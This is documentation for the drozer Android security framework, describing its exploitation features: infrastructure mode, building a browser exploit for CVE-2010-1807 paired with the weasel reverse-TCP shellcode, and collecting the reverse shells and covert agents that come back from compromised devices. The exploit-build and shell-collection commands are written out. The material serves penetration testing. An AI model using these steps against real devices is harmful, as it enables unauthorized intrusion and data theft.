Exploitation features in drozer

Exploitation features in drozer

drozer offers features to help deploy a drozer agent onto a remote device, through means of exploiting applications on the device or performing attacks that involve a degree of social engineering. drozer provides a framework for sharing of exploits and reuse of high quality payloads. It provides modules that allow the generationof shell code for use in exploits in order to help gain access to sensitive data on the remotely compromised device.

Infrastructure Mode

Up until now you’ve probably been running drozer in “direct mode” where you run the agent’s embedded server and connect directly to it. This is handy for devices connected via adb, or on your local Wi-Fi network. drozer supports another mode of operation: “infrastructure mode”. In infrastructure mode, you run a drozer server either on your network or on the Internet that provides a rendezvous point for your consoles and agents, and routes sessions between them. Since infrastructure mode establishes an outbound connection from the device, it is also useful for situations where you do not know the IP address of the device, or you need to traverse NAT or firewalls.

Running a drozer server

To run a drozer server, you need a machine with drozer installed that is accessible by both the mobile device and the PC running your console. Then simply execute:

$ drozer server start

Connecting an Agent

To cause your agent to connect to the server, you must add its details as an ‘Endpoint’. On the device:

  1. Start the drozer Agent, press the menu button, and choose ‘Settings’.
  2. Select ‘New Endpoint’.
  3. Set the ‘Host’ to the hostname or IP address of your server.
  4. Set the ‘Port’ to the port your server is running on, unless it is the standard
  5. Press ‘Save’ (you may need to press the menu button on older devices). If you navigate back to the main screen, you should see your endpoint under the drozer logo. Select it and enable it in the same way as you would start the embedded server.

Connecting a console

You are now ready to connect your console to the server. First, you will need to check which, if any, devices are connected:

$ drozer console devices --server myserver:31415 
List of Bound Devices 

Device ID          Manufacturer        Model           Software 
67dcdbacd1ea6b60   unknown             sdk             4.1.2
67dcdbacd1ea6b61   unknown             sdk             4.2.0

Where “myserver” is the hostname or IP address of your drozer server. This shows that we have two devices connected, running different version of Jellybean. You can specify which to use by giving its Device ID when starting the console:

$ drozer console connect 67dcdbacd1ea6b60 --server myserver:31415 

drozer Server and Exploitation

The drozer server is crucial for exploitation because it acts as many servers in one:


drozer exploit templates and shellcode are special types of drozer modules. They are combined by the drozer exploit command to create a full exploit:

$ drozer exploit build EXPLOIT SHELLCODE [OPTIONS]

The available exploits can be listed by running:

$ drozer exploit list
 Webkit Invalid NaN Parsing (CVE-2010-1807)

Likewise, to see available shellcode:

$ drozer shellcode list
shell.reverse_tcp.armeabi Establish a reverse TCP Shell (ARMEABI)
weasel.reverse_tcp.armeabi weasel through a reverse TCP Shell (ARMEABI)

Putting this together, we can build an exploit for CVE-2010-1807, that uses weasel (MWR’s advanced payload) to gain a foothold on an old Android 2.1 device:

$ drozer exploit build exploit.remote.webkit.nanparse –-payload weasel.reverse_tcp.armeabi
--server --push-server --resource /home.html
Uploading weasel to /weasel and W... [ OK ]
Uploading the Agent to /agent.apk and A... [ OK ]
Uploading Exploit to /home.html... [ OK ]
Done. The exploit is available at:

Point a vulnerable device at the exploit address in its web browser, and shortly afterwards you will have a connection back from the exploit:

$ drozer console devices
List of Bound Devices
Device ID Manufacturer Model Software
9265590285227392218 unknown unknown unknown

The abnormally long Device ID, and ‘unknown’ in all other fields, suggests that this is a lightweight agent, and we haven’t successfully installed a full drozer agent.


Previously, we saw how weasel was able to deploy a lightweight agent onto a vulnerable device. weasel is drozer’s advanced payload to automatically gain maximum leverage on a compromised device. Here’s what happens:

  1. The vulnerable device is exploited (in some way).
  2. The exploit runs shell code that establishes a reverse TCP shell connection to the drozer server.
  3. The payload sends a ‘W’ (0x57) to the drozer server to indicate that it would like the weasel stager sequence to be executed.
  4. The drozer server delivers shell commands to install and start weasel.
  5. weasel tries a number of techniques to run a drozer agent.

Depending on what weasel was able to do to escalate privileges, you will receive a connection from either a full agent, a limited agent or just a normal reverse shell.

Full Agent

If weasel was able to install a package, you will receive a connection from a full drozer agent. This is identical to the agent that you will have been using so far, but does not display a GUI to the device’s owner.

Limited Agent

If weasel was not able to install a package, it may still be able to run a version of the drozer agent. This is the full agent, but does not have access to any ‘Application Context’. This prevents it from interacting directly with parts of the runtime, such as the Package Manager so you cannot interact with other packages or their IPC endpoints. If you are given a limited agent, drozer will automatically hide the modules it is unable to run from the ‘list’ command.

Reverse Shell

If drozer was not able to execute even a limited agent, it will provide a normal Linux shell to the drozer server. You can collect these shells by connecting to the server with netcat, and sending a single line that says ‘COLLECT’:

$ nc myserver 31415
drozer Shell Server
There is 1 shell waiting...
Shell: 1
uid=10058(u0_a58) gid=10058(u0_a58) groups=1028(sdcard_r),3003(inet)